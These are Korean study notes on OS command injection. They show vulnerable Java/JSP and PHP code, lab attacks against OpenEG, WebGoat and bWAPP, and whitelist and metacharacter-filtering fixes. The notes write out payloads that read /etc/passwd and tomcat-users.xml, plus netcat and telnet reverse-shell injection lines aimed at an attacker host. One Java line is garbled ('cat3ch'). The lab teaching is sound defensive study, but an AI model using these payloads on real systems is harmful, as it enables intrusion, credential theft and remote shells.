시스템의 제어권을 탈취하여 해당 시스템을 공격자 마음대로 제어하게 된다.
Shell이란? 사용자와 커널 사이에 있는 명령어 해석기
외부 입력값을 검증하지 않았다? 추가 명령어 실행에 사용되는
&
|
;
등의 문자열 포함 여부를 확인하지 않고 사용
외부 입력값을 제한하지 않았다? 내부 로직에서 사용할 수 있는 명령어 또는 명령어 파라미터 값을 미리 정의하고, 정의된 범위 내에서 사용되도록 하지 않는 경우 ⇒ 화이트 리스트 방식으로 제한하지 않는 경우
입력값 제한 방법
외부 입력값을 운영체제 명령어로 사용하는 경우
// run.jsp
String cmd = request.getParameter("cmd");
Runtime.exec(cmd);
개발자가 의도한 실행
run.jsp?cmd=ipconfig # 서버의 네트워크 설정 정보 반환
공격자가 조작한 실행
# 의도하지 않은 명령어 실행으로 계정 정보 노출
run.jsp?cmd=cat /etc/passwd
# 의도하지 않는 추가 명령어 실행으로 계정 정보 노출
run.jsp?cmd=ifconfig & cat /etc/passwd
외부 입력값을 운영체게 명령어 일부로 사용하는 경우 + 운영 체제 명령어의 파라미터로 사용되는 경우
// view.jsp
String file = request.getParameter("file");
Runtime.getRuntime().exec("cat " + file);
개발자가 의도한 실행
# cat 명령어의 일부(파라미터)로 사용하여 /data/upload/ 디렉토리 아래에 있는 myfile.txt 내용을 반환
view.jsp?file=/data/upload/myfile.txt
공격자가 조작한 실행
# 시스템 파일 내용 반환
view.jsp?file=/etc/passwd
# 추가 명령어 실행을 통해 시스템 파일 내용 반환
view.jsp?file=/data/dupload/myfile.txt & cat /etc/passwd
&
|
;
등의 문자가 포함되어 있는지 검증하고 사용.kali linux > http://victim:8080/openeg 접속
소스코드 확인
Select에서 옵션 선택 후 실행 버튼 클릭 > data 파라미터 값으로 type or dir이 서버로 전달된다.
dir을 선택 후 실행 버튼을 클릭했을 때 출력되는 결과를 보면 마치 명령 프롬프트에서 dir명령을 실행한 것과 유사하다.
사용자 화면에서 선택한 값은 아래와 같이 서버로 전달
command_test.do?data=dir
서버로 전달된 값은 명령어 실행에 사용될 것으로 추측
Runtime.getRuntime().exec("dir");
개발자 도구에서 설정된 명령어가 아닌 다른 명령어로 변경 후 전달
한글 깨져서 나오지만 ipconfig
명령어가 실행된 것을 확인할 수 있다.
&
문자를 사용해 추가 명령어를 실행을 시도한다.
마찬가지로 한글이 깨져서 나오지만 whoami
명령어가 실행된 것을 확인할 수 있다.
기존 TestController.java
소스코드
@RequestMapping(value = "/test/command_test.do", method = RequestMethod.POST)
@ResponseBody
public String testCommandInjection(HttpServletRequest request, HttpSession session) {
StringBuffer buffer = new StringBuffer();
/* 요청 파라미터 값이 data의 값 추출 */
String data = request.getParameter("data");
/* 요청 파라미터 값이 type인 경우 */
if (data != null && data.equals("type")) {
/* 요청 파라미터 값을 "type 현재 디렉터리\files\file1.txt로 변경" */
data = data + " " + request.getSession().getServletContext().getRealPath("/") + "files\\file1.txt";
}
Process process;
String osName = System.getProperty("os.name");
String[] cmd;
if (osName.toLowerCase().startsWith("window")) {
/* 요청 파라미터로 전달된 값을 운영체제에서 실행 가능한 명령어로 변경하는 과정 */
cmd = new String[] { "cmd.exe", "/c", data };
for (String s : cmd)
System.out.print(s + " ");
} else {
cmd = new String[] { "/bin/sh", data };
}
try {
/* 요청 파라미터로 전달된 값을 운영체제 명령어로 사용 */
process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
Scanner s = new Scanner(in);
buffer.append("실행결과: <br/>");
while (s.hasNextLine() == true) {
buffer.append(s.nextLine() + "<br/>");
}
} catch (IOException e) {
buffer.append("실행오류발생");
e.printStackTrace();
}
return buffer.toString();
}
안전한 코드로 변경
/* (추가1) 해당 어플리케이션에서 사용할 명령어를 미리 정의 */
private final String[] allowedCommands = { "type", "dir" };
@RequestMapping(value = "/test/command_test.do", method = RequestMethod.POST)
@ResponseBody
public String testCommandInjection(HttpServletRequest request, HttpSession session) {
StringBuffer buffer = new StringBuffer();
/* 요청 파라미터 값이 data의 값 추출 */
String data = request.getParameter("data");
/* (추가2) 요청 파라미터의 값이 미리 정의한 값의 범위에 포함되는지 확인 */
List<String> temp = new ArrayList(Arrays.asList(allowedCommands));
if (!temp.contains(data)) {
return "잘못된 입력입니다.";
}
if (data != null && data.equals("type")) {
/* 요청 파라미터 값을 "type 현재 디렉터리\files\file1.txt로 변경" */
data = data + " " + request.getSession().getServletContext().getRealPath("/") + "files\\file1.txt";
}
Process process;
String osName = System.getProperty("os.name");
String[] cmd;
if (osName.toLowerCase().startsWith("window")) {
/* 요청 파라미터로 전달된 값을 운영체제에서 실행 가능한 명령어로 변경하는 과정 */
cmd = new String[] { "cmd.exe", "/c", data };
for (String s : cmd)
System.out.print(s + " ");
} else {
cmd = new String[] { "/bin/sh", data };
}
try {
/* 요청 파라미터로 전달된 값을 운영체제 명령어로 사용 */
process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
Scanner s = new Scanner(in);
buffer.append("실행결과: <br/>");
while (s.hasNextLine() == true) {
buffer.append(s.nextLine() + "<br/>");
}
} catch (IOException e) {
buffer.append("실행오류발생");
e.printStackTrace();
}
return buffer.toString();
}
서버 내부에서 처리에 사용하는 명령어가 전달되도록 되어 있음
기존webapp/WEB-INF/test/test.jsp
소스코드
...
(4) Command 인젝션 <br />
<select name="data" id="data5">
<option value="type">--- show File1.txt ---</option>
<option value="dir">--- show Dir ---</option>
</select> <input type="button" id="button5" value="실행">
</pre>
...
외부에서 내부 사용을 유추할 수 없도록 코드(0,1)로 변경
...
(4) Command 인젝션 <br />
<select name="data" id="data5">
<option value="0">--- show File1.txt ---</option>
<option value="1">--- show Dir ---</option>
</select> <input type="button" id="button5" value="실행">
</pre>
...
TestController.java
/* (추가1) 해당 어플리케이션에서 사용할 명령어를 미리 정의 */
private final String[] allowedCommands = { "type", "dir" };
@RequestMapping(value = "/test/command_test.do", method = RequestMethod.POST)
@ResponseBody
public String testCommandInjection(HttpServletRequest request, HttpSession session) {
StringBuffer buffer = new StringBuffer();
/* (추가2)사용자가 선택한 코드가 전달 => 0 or 1이 전달 => 미리 정의해놓은 명령어를 참조하는 값을 사용*/
String data = request.getParameter("data");
// 화이트 리스트 방식으로 입력값을 제한하는 것과 동시에 외부에서 내부 처리를 알 수 없도록 하는 것도 가능
/* (추가3) 사용자 화면에서 전달된 코드를 내부 처리에 사용할 명령어로 변환 */
try {
data = allowedCommands[Integer.parseInt(data)];
}cat3ch(Exception e) {
/* 1. 사용자화면에서 0 or 1 가 아닌 숫자가 전달되는 경우(ex.100)
* 배열 값의 범위를 벗어나기 때문에 오류 발생
* 2. 사용자 화면에서 0 or 1가 아닌 문자가 전달되는 경우(ex. ipconfig)
* 숫자로 변하는 과정에서 오류 발생*/
System.out.println(e.getMessage());
return "잘못된 입력입니다.";
}
if (data != null && data.equals("type")) {
data = data + " " + request.getSession().getServletContext().getRealPath("/") + "files\\file1.txt";
}
Process process;
String osName = System.getProperty("os.name");
String[] cmd;
if (osName.toLowerCase().startsWith("window")) {
cmd = new String[] { "cmd.exe", "/c", data };
for (String s : cmd)
System.out.print(s + " ");
} else {
cmd = new String[] { "/bin/sh", data };
}
try {
process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
Scanner s = new Scanner(in);
buffer.append("실행결과: <br/>");
while (s.hasNextLine() == true) {
buffer.append(s.nextLine() + "<br/>");
}
} catch (IOException e) {
buffer.append("실행오류발생");
e.printStackTrace();
}
return buffer.toString();
}
Injection Flaws > Commnad Injection
도움말 파일 : BasicAuthentication.help
만약 외부에서 전달된 값을 검증, 제한하지 않고 명령어 실행에 그대로 사용되면 추가 명령어 실행이 가능할 것 같음.
C:\FullstackLAB\workspace\.metadata\.plugins\org.eclipse.wst.server.core\tmp1\wtpwebapps\WebGoat\lesson_plans\English\BasicAuthentication.html" %26 type "C:\FullstackLAB\tools\apache-tomcat-7.0.109\conf\tomcat-users.xml
bWAPP > OS Command Injection
/var/www/bWAPP/commandi.php 파일에서 140째 열 수정하기 - 코드가 달라지는 것 아니고 보기 편하게 바꾸는 것 뿐임
$ sudo gedit /var/www/bWAPP/commandi.php
접근할 수 없는 경로의 시스템 파일 내용만 출력
www.nsa.gov | cat /etc/passwd
일반적으로 네트워크는 클라이언트 → 서버
방향으로 연결되지만 역으로 클라이언트 ← 서버
방향으로 연결되게 만드는 것을 말한다.
방화벽이나 NAT를 우회하기 위해 사용한다.
방화벽과 NAT의 동작 원리
- 방화벽은 일반적으로
외부 → 내부
접속을 제한하고,외부 ← 내부
접속은 허용하는 경향이 있기 때문에 가능하다.- NAT는 내부 네트워크의 IP주소를 외부 네트워크의 IP 주소로 변환하는 역할을 하는데 일반적으로 NAT는
외부 → 내부
직접적인 접속을 막는다. 그러나 리버스 커넥션을 사용하면외부 ← 내부
접속이 가능해진다.
$ nc
-l : Netcat listen mode
-u : Netcat TCP (기본값)에서 UDP 모드로 전환
-p port : 리스너의 경우 수신 포트, 클라이언트의 경우 출발지 포트
-e : 연결 후 수행 할 작업
-L : 영구 리스너 생성 (Windows만 작동)
-s addr : 출발지 IP 주소
-n : DNS 주소 해석을 하지 않음
-z : 데이터 전송 안 함
-w secs : 시간 종료 값 정의
-v : 상세 모드
cmd창 열어서 포트 지정
# LISTEN 상태인 특정 포트 지정
$ nc -l -p 8282
# 특정 주소와 특정 포트에
$ www.nsa.gov ; nc 공격자주소 포트번호 -e /bin/bash
DNS lookup 검색창에 입력
$ www.nsa.gov ; nc kali 8282 -e /bin/bash
취약한 서버로 명령어를 전달 ⇒ beebox 서버에서 명령어가 실행되어 bash shell이 열림 ⇒ 공격자가 원하는 명령어 실행하면 결과가 출력 ⇒ beebox 사용자는 알 수 없다.
netcat을 이용한 OS Command Injection 공격조건
위와 같은 공격이 이루어지기 위해서는
nc 프로그램이 설치되지 않은 웹 서버는 어떻게 공격을 할까?
서버 관리 목록으로 많이 사용하는 프로그램을 이용해서 공격을 시도 ⇒ telnet
Kali에서 터미널 2개 열어서 서비스 실행
$ nc -l -p 8282
$ nc -l -p 9292
beebox에서 http://beebox/bWAPP (id: bee / pw: bug) 접속 > OS Command Injection > DNS lookup 검색창에 아래 명령어 입력 후 Lookup 버튼 클릭
# 공격자의 시스템에 2개의 Telnet 연결을 생성해 이 연결을 통해 쉘 명령어를 전송하고 결과를 받는다.
www.nsa.gov|sleep 1000|telnet attacker 8282|/bin/bash|telnet attacker 9292
# sleep 1000 ⇒ 프로그램 실행 1000초 동안 일시중지
# telnet attacker 8282 ⇒ attacker라는 호스트의 9292포트에 telnet연결 시도
# /bin/bash ⇒ 쉘 실행 명령어. 이 쉘은 이전 명령어의 출력을 입력으로 받아 실행
# telnet attacker 9292 ⇒ attacker라는 호스트의 9292포트에 telnet연결 시도. 이 연결은 이전 명령어(/bin/bash)의 출력을 입력으로 받는다.
beebox VM
commandi.php
에서 구조 확인
$ sudo gedit /var/www/bWAPP/commandi.php
...(생략)...
<?php
if(isset($_POST["target"]))
{
# 사용자가 입력한 값 ⇒ 정상적인 경우 도메인 주소가 전달
$target = $_POST["target"];
if($target == "")
{
echo "<font color=\"red\">Enter a domain name...</font>";
}
else
{
# 쉘에서 nslookup 명령어를 실행하고 실행 결과를 반환(https://www.php.net/manual/en/function.shell-exec.php)
# 설정된 보안 등급에 맞춰서 입력값을 처리한 후 nslookup 명령어의 매개변수로 사용
echo "<p align=\"left\"><pre>" . shell_exec("nslookup " . commandi($target)) . "</pre></p>";
}
}
?>
...(생략)...
functions_external.php
코드 수정
$ sudo gedit /var/www/bWAPP/functions_external.php
...(생략)...
function commandi_check_1($data){
# 추가 명령어 실행에 사용되는 &와 ; 기호 제거
$input = str_replace("&", "", $data);
$input = str_replace(";", "", $input);
return $input;
}
function commandi_check_2($data){
# Escape shell metacharacters
# https://www.php.net/manual/en/function.escapeshellcmd.php
return escapeshellcmd($data);
}
function commandi_check_3($data){
# 추가 명령어 실행에 사용되는 &, ;, | 기호를 제거
$input = str_replace("&", "", $data);
$input = str_replace(";", "", $input);
$input = str_replace("|", "", $input);
return $input;
}
...(생략)...